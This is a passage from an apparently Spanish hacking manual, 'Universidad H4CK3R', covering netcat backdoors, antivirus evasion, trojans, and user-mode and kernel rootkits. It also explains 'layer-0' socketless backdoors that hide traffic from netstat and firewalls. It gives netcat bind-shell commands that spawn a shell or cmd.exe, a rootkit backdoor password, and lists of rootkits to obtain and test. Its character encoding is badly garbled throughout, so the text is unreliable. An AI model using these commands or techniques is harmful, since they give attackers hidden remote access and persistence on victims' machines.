comando e5ternoG 2s fcil ver !ue, redireccionando para c(d.e)e en OindoPs o bien
Q%inQs3 en :ni5, "etcat nos puede dar un shell, !ue tendr los privilegios del usuario, en
!ue CncD fue eecutado. 2l comando completo en la m!uina de la vctima sera=
268
ikimilikiliklik Universidad H4CK3R
nc +> +' 8888 +e C/inCs$
<, para sistemas OindoPs=
nc +> +' 8888 +e cm"Bcom
<bserve !ue la opcin CFeD puede venir desactivada por defecto. Puede !ue tenga !ue
compilar el cdigo de nuevo con la opcin T"P3-TcS2.:N36*cH</2 0el nombre lo dice
todo ...1 o descargar un eecutable ya preparado para ello X netcat.sourceforge.net.
Hay varios otros usos para "etcat* por eemplo, el redireccionamiento de cone5iones. 2s
%til para perforar los firePalls o para crear una cadena 0cadena o modo t%nel1 entre varias
computadoras en 3nternet para hacer spoofing 0suplantacin de identidad1. "l igual !ue en
el encadenamiento de pro5ies p%blicos, se puede utili#ar "etcat para construir una red de
pro5ies privados_ 1I o &' en linea y con rutas alternativas son dispositivos comunes de
hackers con e5perienciaG
<tro uso muy interesante de -etcat es como escaner de puertos improvisado. 2stos y
otros muchos usos se pueden encontrar en el e5celente libro blanco de 6om "rmstrong
llamado 4-etcat F /a navaa sui#a de 6.PL3P4 0PPP.giac.orgLpracticalLgsecL6om
"rmstrong TS2..pdf en 3ngl$s1. :na alternativa a "etcat es 1r+pt1at 0PPP.farmB.com
LcontentLMree6oolsL.rypt.at1. 2s un clon perfecto de "etcat con la misma funcionalidad y
sinta5is. Pero tiene una diferencia interesante= todas las comunicaciones estn
encriptadas. 3ncluso si la cone5in es descubierta, nunca se sabe lo !ue pasa en ella.
"etcat es, seguramente, la herramienta nativa de :ni5 0y muy instalada en OindoPs
tambi$n1 ms utili#ada como apoyo para atacar a sistemas aenos. Por ser pe!ue)o, se
instala fcilmente en los sistemas !ue no lo tienen. Pero "etcat no es el %nico modo de
improvisar puertas traseras. 2st$ al tanto de cual!uier programa !ue pueda dar acceso a
los sistemas de archivos. 2l int$rprete CPerlD es uno de ellos, con unas pocas lneas de
cdigo es posible montar un servidor, como el "etcat en modo CFlD y enviar archivos a
trav$s de $l, por eemplo.
%irus - tro-anos
" pesar de !ue son dos temas ya tratados en el transcurso del libro, consideramos
beneficioso recordar conceptos importantes.
= Una 1e> mFs, los 1irus
-o hay mucho ms !ue decir sobre epidemias virales !ue no sea ya de conocimiento
publico. /os virus son programas !ue se comportan igual !ue sus homnimos biolgicos=
son microscpicos, se reproducen solos, consumen recursos informticos !ue no les
pertenecen y tienen una gran capacidad de propagar la infeccin.
"un!ue los programas antiFvirus clasifican, como virus, programas como troyanos,
puertas traseras y los virus legtimos, las tres categoras de programas son muy
diferentes, y se podra decir incluso complementarias. /os virus no necesitan de los
troyanos como medio de transporte y vector de contaminacin. ;ucho menos necesitan
abrir puertas traseras para entrar y salir de los sistemas infectados. Pero no obstante,
tambi$n pueden servirse de ellos, si la oportunidad aparece.
269
ikimilikiliklik Universidad H4CK3R
:n virus informtico tiene obetivos muy claros= infectar el m5imo numero de sistemas
posible, reproducirse rpidamente, opcionalmente consumir recursos y da)ar los sistemas
invadidos.
.mo son autosuficientes, esta ms all del alcance de este libro anali#arlos en
profundidad. Sugerimos al lector consultar las pginas Peb de los principales fabricantes
de antivirus para obtener informacin actuali#ada.
* recuerda= un virus puede ser el compa)ero de un ata!ue (oS >
.omo deberes, investiga sobre los grandes nombres del mundo viral= 2ing!2ong* <oNart*
<iguel `ngel* <adonna* 13erno%+l* <elissa* 'ove'etter* "i(da* RleN + 9ug%ear. 2n el
apartado terico, estudia sobre programacin orientada a obetos 0los virus se basan
mucho en ella1, herencia, polimorfismo, funciones reproductivas y m$todos de contagio.
= %irus indetecta&les
6omemos los virus ms conocidos. 2l 9ug%ear, por eemplo. /a prensa lo describe como
4la peor amena#a viral de todos los tiempos4 0como lo hi#o con el Sle# ...1 y, sin embargo,
es un virus com%n, !ue usa las mismas vieas t$cnicas de propagacin, infeccin,
destruccin y r$plica de otros ms antiguos como el virus <elissa, !ue puede ser
fcilmente detectado por un antivirus actuali#ado.
Virus ms recientes pueden camuflar sus comunicaciones con el mundo e5terior a trav$s
de llamadas al sistema y comunicacin entre procesos 0releer los captulos sobre los
sistemas operativos1. Pueden, por eemplo, 4pedir prestado4 los sockets de tu navegador
por defecto para enmascarar la comunicacin. < utili#ar su cliente de email por defecto
0por eemplo, <utlook 25press F .ampen de la audiencia1 para propagarse. 2n
cual!uiera de los casos el proceso del virus aparecer durante la comunicacin, y el
comando CnetstatD revelar una sola cone5in a 3nternet desde su propio navegador.
"hora responda= 7!u$ firePall detendr comunicaciones H66P o S;6P originadas en el
interior de su red8
2l lector podra protestar, 4pero mi antivirus est actuali#adssimo, 7como se colaran virus
nuevos84 /a respuesta es simple= ese programa slo detecta virus conocidos. :n simple
editor he5adecimal puede cambiar detalles del virus y volverlo, una ve# ms, indetectable
por un tiempo. Hasta !ue las compa)as !ue hacen dinero con este tipo de pnico corran
para actuali#ar sus bases de datos y, hasta !ue las personas actualicen sus antivirus, el
da)o est hecho. 2n una estimacin muy apro5imada, los autores consideran !ue ms
del B'] de los virus !ue estn rodando por el mundo, en general, no son detectados por
los programas antivirus en el mercado.
Por eemplo, una forma antigua de confundir a un antivirus era comprimir el archivo
eecutable del mismo y a)adir un stu% 0pe!ue)o programa en el principio del archivo
comprimido1 !ue lo descomprima en el momento de su eecucin. Mue una manera
inteligente de, durante mucho tiempo, hacer !ue los virus pasasen sanos y salvos por el
Ccorredor polacoD impuesto por las rutinas del antivirus.
*a hay t$cnicas modernas de ofuscacin, !ue ponen varias capas de retos, comprimidos
y codificados, con varios stu%s diferentes y claves de cifrado distribuidas por el archivo.
.ada ve# !ue se eecuta, el virus se replica y se autocriptografia de nuevo con otras
270
ikimilikiliklik Universidad H4CK3R
claves cuyos peda#os se almacenan en diferentes lugares dentro del archivo.
:n antivirus, para conseguir simplemente leer el contenido eecutable del virus, tendr
!ue pelar varias capas de esa cebolla, descubrir las distintas claves de encriptacin
me#cladas en medio de los datos del archivo y, ademas, saber !ue tipo de compresin se
utili#o en cada capa 0si, podemos utili#ar diferentes tipos de compresin1. /o !ue nos lleva
al principal problema= despu$s de encontrar un virus de este tipo, sern necesarios varios
das o incluso semanas para romper el archivo. 2sto, por supuesto, slo se producir si el
antivirus es capa# de determinar !u$ es un virus, algo muy difcil de hacer.
Para ms informacin sobre esta t$cnica de ofuscacin, bus!ue en 3nternet sobre el
:rupo >aUinci, un clan hacker cerrado !ue, al parecer, es el %nico propietario de esta
tecnologa_ aun!ue esta basada en otras ms antiguas !ue llevan mucho tiempo rodando
por ah. Se trata de una simple cuestin de voluntad. .uando se entienda la t$cnica de los
crackers productores de virus, la informtica como la conocemos hoy en da se colapsar.
= 4Fs allF de los tro-anos
*a hemos hablado brevemente sobre troyanos en el captulo Vulnerabilidades 3. 2n
a!uella ocasin, ense)amos cmo crear uno !ue escondiese el +'&S en una inocente
imagen. Por definicin, los troyanos son slo recursos utili#ados para hacer !ue la vctima
crea !ue el archivo en cuestin es inofensivo o incluso un regalo F pero guarda algo
da)ino en sus tripas.
/os troyanos guardan y transportan cual!uier cosa F puede ser un backdoor 0lo ms
habitual1, pero tambi$n puede ser un virus, un programa inofensivo o incluso otro troyano
ms potente. (el matrimonio entre troyanos y backdoors, es de donde salen los mayores
dolores de cabe#a para los administradores de sistemas y usuarios dom$sticos > /os
llamados 7;8s 0Nemote "dministration 6roans1, pueden tomar el control total del
ordenador de la vctima. Hay miles de N"6s disponibles o en desarrollo en 3nternet,
especialmente para OindoPs. Son, en su mayora, desarrollados por Siddies o
programadores, o poco ms !ue eso, por lo general en Visual +asic o (elphi. 2n realidad
son uguetes= pero los usuarios normales siempre caen en sus trampas. 2ntre en
areyoufearless.com, troianforge.net o evileyesoftPare.com 0entre otros1 y compru$balo tu
mismo.
6royanos tradicionales como +'&S y asimilados, poseen muchas limitaciones. Son
aplicaciones y por lo tanto se eecutan en modo usuario. Si bien en OindoPs no es un
problema para el atacante, por!ue el propio kernel corre partes de su cdigo de esta
manera, troyanos llevando backdoors no funcionaran bien en otras plataformas. 2n :ni5,
por eemplo, es probable !ue los usuarios ni si!uiera tengan permiso para eecutar
programas desde sus directorios personales.
Hay otro problema con los troyanos tradicionales= como son aplicaciones aenas al
sistema, son fcilmente detectables. 3ncluso ocultndose con nombres confiables entre
los archivos de la carpeta . d O3-(<OS, herramientas de auditora pueden encontrarlos
sin ning%n problema.
Para combatir este problema, la seleccin natural cre una especiali#acin en la fauna
troyana= la sustitucin de programas del sistema por otros especialmente modificados.
271
ikimilikiliklik Universidad H4CK3R
/lamados CrootkitsD, estos programas cambian el funcionamiento real de utilidades de uso
frecuente, como por eemplo Q%inQlogin en m!uinas :-3K , 2KP/<N2N.2K2 en
OindoPs, Finder en ;ac<S, pconsole en -ovell, -etOare, etc, etc, etc. ..
/os root/its ms comunes hacen, bsicamente, cuatro cosas= a1 abrir una puerta trasera
permanente o activarla con un cdigo, b1 mentir sobre el estado del sistema, c1 apagar o
destruir alguna cosa, d1 averiguar contrase)as e informacin sensible.
/a gran maldad de un root/it es incrustar una o ms de estas cuatro funciones en los
programas e5istentes. Por eemplo, el. mencionado Q%inQlogin en los sistemas :-3K. Hay
root/its !ue dan acceso libre al sistema si se le da una contrase)a preprogramada. Por
eemplo, en un sistema Solaris, la contrase)a de root es abSB'K_c. 2s una buena
contrase)a difcil de descifrar o adivinar. Sin embargo, si el programa Q%inQlogin es
reempla#ado por un root/it especialmente preparado, cual!uier usuario con una
contrase)a especial 0!ue se puede configurar, por eemplo, 45u5ubele#a41 gana acceso
CrootD en la m!uina. <tro tipo de root/it !ue tambi$n afecta a Q%inQlogin es un simple
CkeyloggerD= Tuarda en un archivo las contrase)as de todos los usuarios !ue se conectan
al sistema. Sucio, 7eh8
:n root/it !ue afecte a OindoPs 25plorer, por otro lado, puede ocultar completamente
una carpeta !ue contenga varios archivos pertenecientes al atacante. "un cuando la
visuali#acin de archivos ocultos est$ activada, ese directorio se mantendr oculto F el
root/it tratar de dearlo fuera de la vista del usuario. * en el administrador de tareas de
OindoPs veremos ,simplemente, una instancia de 25plorer.
Hay varios root/its !ue ocultan el estado de la red, cone5iones, sistema de archivos y
procesos en eecucin, entre otras cosas. Por eemplo, CifconfigD en /inu5 podra mentir
sobre el modo promiscuo, ocultando el funcionamiento de un sniffer. 2l 6"SS;"-.2K2
0"dministrador de tareas1 de OindoPs podra ocultar procesos y servicios de troyanos,
virus y escaneres. <tros tipos de root/its pueden hacer eco de las comunicaciones hacia
el hacker o dar acceso saltndose la contrase)a del administrador F por eemplo, en
servidores SSH, 6elnet o 33S modificados.
/a siguiente es una lista 0muy incompleta1 de los comandos y programas !ue pueden ser
reempla#ados por los root/its. Hay varios root/its para cada uno de estos programas, por
lo !ue sugiero !ue el lector, para entrar en contacto con algo nuevo, e5perimente en su
e!uipo de pruebas.
Para :ni5, los programas en el punto de mira para los desarrolladores de rootkits son=
login* ifconfig* du* df* p$d* su* sudo* netstat* nc 0QS, el -etcat puede estar manipulado1,
ps* find* slocate* updated%. /as utilidades de configuracin no escapan ilesas a los
rootkits= S"; en HPF:K, "dmintool en Solaris, Smit en "3K, linu5conf, Oebmin ... 3ncluso
comandos internos de algunos shells F como ClsD y CcdD en +ash F se puede enmascarar
con Prappers !ue esconden archivos o mientan sobre su tama)o. :na maldad mayor es
instalar las versiones root/it de los shells disponibles 0bash, csh, ksh, etc1 o de servidores
"pache, e incluso inetdQ)inetd para abrir backdoors 4bao demanda4.
Para OindoPs, la lista es similar. 2l mismo c(d.co( se puede cambiar para ocultar
acciones maliciosas en las funciones internas tales como (3N y .(. "dems, muchos de
los archivos de OindoPs, como los ya mencionados 6"SS;"-.2K2 y 2KP/<N2N.2K2
272
ikimilikiliklik Universidad H4CK3R
pueden ser 4alterados4. .uidado adems con utilidades de uso frecuente, tales como
calculadora 0."/..2K21, el +loc de notas 0-<62P"(.2K21, OordPad 0ON362.2K21 y el
2ditor del Negistro 0N2T2(36.2K21. 6odos estos programas estn presentes en cual!uier
versin de OindoPs, incluso en los servidores, y pueden ser manipulados para !ue
funcionen como root/its. 2special atencin debe darse a los archivos (//, compartidos
por muchas aplicaciones, especialmente ;M..(//.
/a lista es mucho ms amplia !ue la !ue se muestra. -o cabria a!u enumerar todos los
tipos y todos los programas !ue pueden ser cambiados por los rootkits. .omo sugerencia,
bus!ue en :ni5= l/rG* utrojan* %ac/%oored send(ail tLrn/it* r/ss3* ;2S7* %door* $LL$LL*
ILgin./it* 9>B* ve)ed* falcon!ss3* 8rojanit* root/itSunTS* sol + 7aditN 0muy da)ino=
reempla#a a el 6ripPire G1, entre otros.
2ste tipo de root/its 0programas de sustitucin y utilidades de sistema1 es ms com%n en
:ni5 !ue en OindoPs, aun!ue tambi$n e5isten numerosas herramientas para OindoPs .
Para comen#ar, bus!ue adsScat* Fa/e:I";* fu.dI2* Os3ado$* .ac/er >efender* .ac/er's
7oot/it para "8* Slanret* R7-I* I-7R #ier/JBEC.s+s&* 9ac/door!;'I* 1aesar's 7eg,rite
Injector* null.s+s* .-E7oot #o .-E.oo/ & e in+eccin de IIS.
Para aprender ms sobre estos root/its y nuevas t$cnicas sobre el tema, bus!ue
informacin en PPP.packetstormsecurity.nl en PPP.securityfocus.com en
PPP.PindoPsecurity.com, el sitio oficial de ;icrosoft 0PPP.microsoft.com1 y
principalmente en Toogle_F1.
= Io 8a- cuc8ara
/os root/its no son tan fciles de identificar como los troyanos y las puertas traseras
comunes. :n +ack <rifice escuchando, o -etcat en un puerto pueden ser descubiertos
fcilmente con un simple comando CnetstatD. Pero si el CnetstatD estuviese root/itted, la
cosa cambia F la informacin sobre los puertos abiertos por la puerta trasera estara
ocultada. /o mismo ocurre con los procesos de= un 2KP/<N2N.2K2 modificado, sigue
apareciendo como el 25plorador de OindoPs en el "dministrador de tareas.
-o obstante, a pesar de ms compleos, los rootkits comunes !ue alteran la funcionalidad
de los programas ordinarios del sistema operativo pueden ser detectados por
caractersticas no obvias, pero, a%n as, evidentes. 2l programa alterado puede tener su
fecha de creacin diferente de las dems. 3ncluso si es igual, el tama)o puede ser
diferente del original, encontrado en otras m!uinas. Si el tama)o es igual, seguramente
su estructura interna no lo es, y se puede comparar byte a byte con el de un sistema de
sano.
<tra alternativa es comprobar el CchecksumD de los archivos !ue componen el programa.
/os sistemas :ni5 normalmente hacen uso de una firma ;(I para garanti#ar la idoneidad
de los archivos. 2n los sistemas OindoPs, ;icrosoft adopta un procedimiento similar,
basado en la esteganografa aplicada al logo de OindoPs. 2n cual!uier caso, si la firma
no coincide con el original, el programa seguramente est adulterado y deber ser
apagado o sustituido.
/os administradores realmente paranoicos 0y no se e!uivocan, ni mucho menosG1 instalan
controladores de inventario con verificadores de integridad de archivo 0como, 6ripPire o
273
ikimilikiliklik Universidad H4CK3R
"3(21 en todos los e!uipos 0incluyendo las estaciones de trabao1. .ual!uier archivo !ue
sea modificado por un root/it ser detectado en la pr5ima verificacin y un mensae de
advertencia roo aparecer en la pantalla del administrador.
Para evitar esta situacin, los hackers han creado una forma de los root/its con un nivel
superior de camuflae. 2sta ve#, los archivos del sistema y los programas estn intactos=
el /ernel del sistema operativo propiamente dicho es reempla#ado por otro adulterado
por completo. :na dualidad similar a la de Superman y su alter ego el ;alvado 0ah, los
buenos ratos !ue pasaba a las ma)anas viendo los Superfriends ...1.
*a hemos hablado del kernel en varios captulos. 6odo el procesamiento del sistema
obligatoriamente pasa por $l y, por lo tanto, controlarlo como en una posesin demonaca
es e5tremadamente potente y destructivo. 2ntre las maldades !ue podemos practicar a
partir de nuestra posesin estn=
F .amuflae de archivos del invasor, al igual !ue en los rootkits comunes. /a diferencia es
!ue, por ser kernel, este artificio es prcticamente imposible de anular o incluso ser
descubierto.
F .amuflae de cone5iones de red. "l igual !ue hicimos en :ni5 y OindoPs, con una
versin modificada del comando netstat, un n%cleo root/itted puede tambi$n ocultar
cone5iones especficas. Slo Sniffers !ue se eecutan en otras m!uinas son capaces de
detectar este tipo de cone5iones.
F .amuflae de procesos. 2l kernel manea los procesos. 2l propio kernel, entonces, es
!uien da la lista de ellos a los programas !ue los listan 04ps4 en :ni5, OindoPs 6ask
;anager1. 2sto hace fcil ocultar de estos programas 0y, por tanto, los usuarios1 los
procesos da)inos !ue se estn eecutando.
F Nedireccionamiento. 3magine el siguiente escenario= un atacante 4plant4 programas de
malPare en el directorio 16V,I">T,SVS+ste(CBV en OindoPs -6 ?. 2l root/it del kernel
intenta esconder esos programas mostrando normalmente todos los dems archivos de la
misma carpeta. :no de estos archivos es una copia modificada del 25plorador de
OindoPs 02KP/<N2N.2K21. .ada ve# !ue OindoPs le pide !ue eecute una nueva
instancia de 25plorer, en lugar de abrir el programa original, el kernel redirige la eecucin
hacia el 25plorer modificado. .ual!uier herramienta de auditora ira ha comprobar la
integridad del original 2KP/<N2N.2K2 0almacenado en la carpeta .=dO3-(<OS1 y lo
encontrara intacto.
:tili#ando estos cuatro ugueteos, el programador !ue desarroll el rootkit puede crear
dos realidades para el administrador de usuarios. :na, agradable y sin problemas, es
totalmente falsa. /a otra, llena de agueros de seguridad, puertas traseras y manipulacin
indebida de documentos y archivos, es la real. 2l administrador decide si desea continuar
viviendo feli# en su c%pula virtual o se toma la pldora roa.
"lterar un kernel por medio de rootkits es fcil y puede hacerse de dos maneras. /a
primera es a trav$s de parches, y es la preferida por los hackers !ue desarrollan para
OindoPs. Muncionando de la misma manera !ue los 3otfi)es + Service 2ac/s de
;icrosoft, un parche, para insertar un rootkit sobrescribe archivos enteros o parte de ellos,
inyectando nuevas rutinas y desvos y haci$ndolos responder de forma distinta de lo
previsto inicialmente. .omo el kernel de OindoPs se compone de docenas de archivos
274
ikimilikiliklik Universidad H4CK3R
(// accesibles por los usuarios, la tarea, aun!ue laboriosa, es simple y, a veces ni
si!uiera tiene !ue ser reali#ada por un usuario con muchos privilegios en el sistema.
.omo cual!uier instalacin en un sistema OindoPs, despu$s de aplicar el parche el
sistema debe reiniciarse F pero esto puede ser hecho por el propio atacante y en ms del
B'] de los casos esta anomala ser considerado por el administrador de la m!uina
como 4simplemente otra cagada de OindoPs 4.
/a otra forma, ms apreciada por los amantes de :ni5, funciona a trav$s de los mdulos
del kernel cargables 0/oadable Sernel ;odules o /S;1. Si el lector no se salt los
importantes captulos sobre sistemas operativos, debe recordar !ue, a diferencia del
microkernel de OindoPs, los :ni5 en general son monolticos. :n %nico, gigantesco y en
ocasiones encriptado archivo !ue engloba el n%cleo central y la mayora de los
controladores de dispositivos del sistema.
" medida !ue los sistemas :ni5 iban evolucionando, se percibi !ue la poltica de los
n%cleos monolticos deba ser 4fle5ibili#ada4, de lo contrario tendramos sistemas cuyo
n%cleo residira en un archivo de decenas o incluso cientos de megabytes !ue contiene
miles de drivers para hardPare !ue nunca vamos a ad!uirir . Por lo tanto, los kernels
pasaron a ser modulares= un n%cleo base 0leos de ser un microkernel1 !ue se carga
primero, y los dems drivers se cargarn slo si el hardPare los solicitase. 2stos drivers 0y
algunos programas y utilidades !ue se eecutan en modo del kernel1 residen en /S;s. 2s
fcil ver !ue se puede cambiar el comportamiento del kernel con mdulos cargados
mucho despu$s del arran!ue. :n /S;, incluso puede ser cargado bao pedido,
automticamente o a partir de un comando emitido remotamente por el atacante a trav$s
de una com%n puerta trasera.
3nvestigue sobre los rootkits /S; de su sistema operativo y, preferiblemente testee todos
los !ue encuentre 0en nuestra red de prueba y no en un entorno de produccin GGG1.
/istamos algunos de los ms famosos 0o informacin para entender /S;s en las diversas
plataformas1, pero deliberadamente no pusimos los %ltimos para !ue te acostumbres a
buscarlos.
Para OindoPs 0B5 y -61= PPP.rootkit.com 0lectura obligatoria1.
Para /inu5= "dore, .arogna 0pr<yecto .ar'nte1 knark, Midias, heroine.c, spooflkm,
suidshoP.c, kinsmod, Nial, el 6H. +ackdoor 0lkm1 kernel.keylogger, SucS36, lkminect_
Para Solaris= plasmoide, slkm, ksolaris, +ackdoor 6H. 0lkm1_
Para Mree+S(= "dore+S(, ipfhack, /+S, +ackdoor 6H. 0lkm1_
Para <pen+S(= "dore+S(, obsdcipfhack, +ackdoor 6H. 0lkm1_
Para OindoPs B5 0mireG1= +urning .home.
.omo %ltimo conseo, lea estas notas=
F PPP.P''P''.orgLfilesLarticlesLlkmhack.t5t_
F PPP.packetstormsecurity.nlLdocsLhackL/S;.H".S3-T.html_
F PPP.packetstormsecurity.nlLOinLv5d.t5t.
275
ikimilikiliklik Universidad H4CK3R
Comunicaci/n sin coneiones
6odo esto esta muy bien, todo esto es muy bonito, pero cual!uier servidor F ya sea H66P,
S;6P, Minger o un backdoor integrado en el kernel F necesita sockets para conectarse.
.omo hemos visto, un socket es, a grandes rasgos, un tro de 3PLpuertoLprotocolo. "s
!ue, para conectarme a un servicio cual!uiera 0un servidor SSH, por eemplo1, tengo !ue
crear una cone5in entre mi cliente SSH y el puerto && en ese servidor. .on backdoors es
lo mismo= si improvis$ un servidor con "etcat 4escuchando4 el puerto BBBB, tengo !ue
conectarme a ese puerto 0y mantener la cone5in1 para interactuar con $l.
2sto significa !ue incluso en los sistemas comprometidos por los rootkits es posible
descubrir tales travesuras. Slo tiene !ue eecutar un sniffer como ,ires3ar/ en otra
computadora de la red 0la estacin de trabao del administrador, por eemplo1 y todas las
cone5iones falsas pueden ser detectadas, 7no8
<dio decir esto, pero de nuevo la respuesta es, no. Hay por lo menos una forma conocida
de ocultar el trfico y no re!uiere cone5in para intercambiar pa!uetes, !ue combina el
sniffing y spoofing con la manipulacin de la pila 6.PL3P.
= 0dos sordos
.ortafuegos y antivirus son las estrellas del momento con respecto a la seguridad de las
redes y las computadoras. Se pone mucha fe en ambos dispositivos y, es un
comportamiento normal en los humanos, relaarse en los dems aspectos de la seguridad.
-o estamos diciendo !ue sean gastos innecesarios, al contrario= los cortafuegos y
antivirus mantienen leos de su sistema un n%mero abrumador 0muchos millones1 de
scriptFkiddies. Pero entre cientos de miles de kiddies, ha de haber un verdadero hacker.
(e hecho, ning%n firePall F ya sea por softPare o hardPare e5clusivo F se apro5ima a
dear una m!uina segura si, un hacker de esos se encara con su red o sus servidores.
Piense un poco= su firePall debe, obligatoriamente, dear pasar los protocolos y servicios
!ue los usuarios utili#an. Si los usuarios estn autori#ados a utili#ar programas de
mensaera instantnea 03.E, por eemplo1, el puerto de 3.E debe ser liberado para el
trfico entrante y saliente. Si los usuarios utili#an la Oorld Oide Oeb, el trfico H66P
saliente por el puerto A' y entrante por puertos mas altos, tambi$n debe ser liberado.
Slo en el caso anterior, vemos !ue las puertas &I y A' siempre estarn ah, abiertas
para los !ue !uieran usarlas. 3ncluso para hackers !ue, utili#ando todos los trucos !ue
vimos en Vulnerabilidades y en estos captulos finales, pueden buscar en toda su red
interna y e5plotar las vulnerabilidades conocidas usando solamente el puerto A'. .omo se
dice en los crculos de crackers 4, el puerto A' siempre estar ah4 ... * 7!ue puede hacer
al respecto el firePall por muy caro !ue sea8, 7!ui#s registrar todos los pa!uetes !ue
pasan por $l, para su anlisis futuro8 F es demasiado.
= 0liendo 7ro&lemas Mcomunicaci/n sin socketsN
.omo vimos en el captulo anterior, podemos rastrear la red y recoger todo el trfico
aun!ue no est$ dirigido a nosotros. 2l uso ms obvio de estas t$cnicas es, realmente,
4escuchar4 la red para descubrir datos, usuarios, contrase)as, y, posiblemente, capturar
cone5iones. Pero hay un nuevo truco !ue podemos hacer con sniffers.
276
ikimilikiliklik Universidad H4CK3R
/as cone5iones establecidas mediante
sockets se indican con una simple
consulta a -etstat. 3ncluso si su sistema
se halla descabelladamente troyani#ado
y lleno de rootkits, las cone5iones 6.P
establecidas 0e incluso el intercambio de
pa!uetes :(P, !ue no utili#an las
cone5iones, pero si utili#an sockets1
pueden ser monitoreadas por otras
m!uinas. Pero 7y si no hay ninguna
cone5in8
:n troyano o backdoor y el softPare cliente !ue se eecuta en el ordenador del atacante
puede comunicarse con o por medio de trfico falso. 2l hacker enva pa!uetes 6.P o
:(P a e!uipos !ue no estn en la red, pero dentro del rango de 3Ps aprobados por el
firePall . .omo no est dirigido a nadie, el mensae muere dentro de la red y no se habla
ms del tema. Solamente el e!uipo con el backdoor socketless, olfateando todo
indiscriminadamente, captura el pa!uete sin destino y lo procesa. 6an simple como robar
un caramelo a un ni)o.
Para el camino inverso, el backdoor usa los programas e5istentes en el e!uipo y !ue ya
hacen, por su propia naturale#a, cone5iones por socket. :n navegador es el meor
eemplo. 2l usuario abre su 3nternet 25plorer y teclea PPP.pornoshoP.com.ru. 2l
backdoor detecta la cone5in e inyecta, en medio del tren de datos, uno o dos bytes por
pa!uete en reas en las !ue no causar problemas 0el relleno, por eemplo, o el fragment
offset cuando no se utili#a1. (ependiendo del protocolo usado como mula de carga, es
posible incluso, poner ms datos en el propio pa+load 3P. /a direccin 3P de destino no se
modifica, y el atacante debe estar situado en la linea de cone5in para rastrear los
pa!uetes y e5traer de ellos los datos de la comunicacin.
= *ctuali>ar el camufla?e
:n sniffer en modo promiscuo, es ruidoso en una red y puede ser fcilmente detectado
usando herramientas especiales. Pero nada impide !ue un sniffer se eecute en modo
e5clusivo, slo olfateando el trfico de entrada y salida. 2n este caso, el hacker no enva
pa!uetes a la red con 3Ps ine5istentes, pero si los enva dirigidos concretamente a la
ma!uina donde esta el backdoor. Pero con un detalle= dirigidos a puertos !ue no est$n
siendo usados.
277
ikimilikiliklik Universidad H4CK3R
2n un ordenador normal, la pila
6.PL3P ignorara los datos !ue llegan
a puertos ine5istentes o
desactivados.
Pero en nuestro caso, el backdoor
est escuchando todo lo !ue llega en
todos ellos. Son virtualmente JI mil
puertos 6.P y otros JI mil :(P !ue
el backdoor o troyano puede usar
para escuchar lo !ue llega, aun!ue la
cone5in no sea establecida.
;uchos dirn !ue esto es imposible, !ue hay una obligacin de establecer un socket para
recopilar datos de un puerto. .raso error. /os sniffers comunes 0incluso los ms simples1
estn ah para demostrar !ue se puede escuchar incluso si el trfico no se dirige a tu
;".G Si no hay necesidad de conectar el protocolo 2themet, puede recopilar cual!uier
dato de cual!uier puerto sin necesidad de conectarse a sus sockets. 2sta t$cnica se
denomina 'a+er!L 'istening.
.omo veremos ms adelante, se puede poner una capa adicional entre cuales!uiera dos
capas <S3 0o 6.PL3P en la prctica1 y manipular los datos all. 2sta capa puede, incluso,
permanecer en las capas ms baas, o entre la pila y la interfa# de red fsica 0de ah el
nombre de la capaF', ya !ue la capa fsica es la 11. /as herramientas !ue normalmente
usamos para detectar, vigilar y detener virus y cone5iones F netstat, nbtstat, firePalls
antivirus locales y etc, etc, etc. F se colocan antes de la pila 6.PL3P 0es decir, la pila !ueda
siempre entre la herramienta y la red1. .ual!uier manipulacin o insercin !ue hagamos
en el fluo de datos podr ser retirada antes de llegar a las herramientas en cuestin.
Por lo tanto, para !ue un backdoor !ue utili#a t$cnicas de capaF' pueda escuchar la red,
al menos una de las siguientes tres condiciones debe ser satisfecha=
F /os pa!uetes estn dirigidos a la ;". de la interfa# de red del ordenador invadido
F 2l mensae es un broadcast,
F /a cone5in es punto a punto, por eemplo, un mdem de acceso telefnico, 3S(-LN(S3
o 5(S/ con pppoe.
" partir de estos prerre!uisitos, es posible interactuar con el backdoorLtroyano utili#ando
los siguientes arbitrios=
F +roadcast en secuencia_
F Pa!uetes 3.;P en secuencia 0Ping, 6raceroute y (estination :nreachable1_
F Pa!uetes enviados a cual!uier puerto del e!uipo F abierto o no_
F Pa!uetes descartados por la pila 6.PL3P por!ue estn mal formados o encapsulados de
forma e!uivocada 0ten en cuenta, !ue tienen !ue estar perfectos en las capas & y 9 para
ser enrutables, lo !ue nos dea slo la capa ? ...1. /os pa!uetes son recha#ados por
6.PL3P, pero no por el troyano.
2stas cosas son posibles de hacer en prcticamente el 1''] de los casos, en las redes
278
ikimilikiliklik Universidad H4CK3R
modernas basadas en 2thernet 0o PPPLS:P1 y 6.PLlP. Se estima !ue al menos una
conocida aplicacin hace uso de estas t$cnicas= la llamada <agic 'anternQ1arnivore, del
gobierno de 22.::., !ue sirve para controlar el trfico de 3nternet en busca de terroristas,
pederastas y los hackers de turno.
= Ca7a=). c/mo funciona
6oda la informacin reproducida a!u se obtuvo en los foros abiertos de troanforge.net.
/a mayora de ella fue publicada por <CduGE, un miembro del grupo troanner britnico
>aUinci. 2ste grupo fue responsable, en 1BBB, de desarrollar el troyano 'S2 83e <ini
9aug y varios otros basados en V5(s, por lo !ue toda la teora descrita a!u se ha puesto
en prctica por lo menos en pruebas de concepto.
Volvamos a los kernel rootkits. .on ellos, podemos a)adir drivers, funcionalidades y
problemas en modo kernel en los sistemas operativos. Podemos, incluso, ugar con la pila
6.PL3P y agregar capas de bao nivel entre ellas. Por lo tanto, simples /S;s en :ni5 y
parches en OindoPs pueden agregar al sistema funcionalidad de capaF'.
6omando como eemplo OindoPs B5, es posible crear un V5( 0vuelva a leer el captulo
sobre plataformas OindoPs1 !ue implemente esta capa. :n firePall local 0como
,one"larm, +lack3ce o 6iny MirePall, por eemplo1 funciona en el 4interior4 de la m!uina,
despu$s de !ue los datos han pasado por la pila de red. Si hubiera alg%n pa!uete o
comunicacin maliciosa eecutndose, el firePall nunca lo sabr. /a capa e5tra a)adida
e5traer los datos relevantes a la cone5in del hacker y los pasara F por comunicacin
entre procesos y saltando toda la estructura 6.PL3P F a el backdoor o troyano.
:na simple (// !ue e5porte un SP3
0Service Provider 3nterface1 tanto a las
capas superiores 06.P o de aplicacin1
como a las de nivel inferior 0capa de
2thernet o PPP1 puede intermediar la
comunicacin y 4saltar4 la pila 6.PL3P.
2sta (// podra parasitariamente usar
los puertos de comunicacin F es decir,
los aprovecha est$n en uso o no, y no
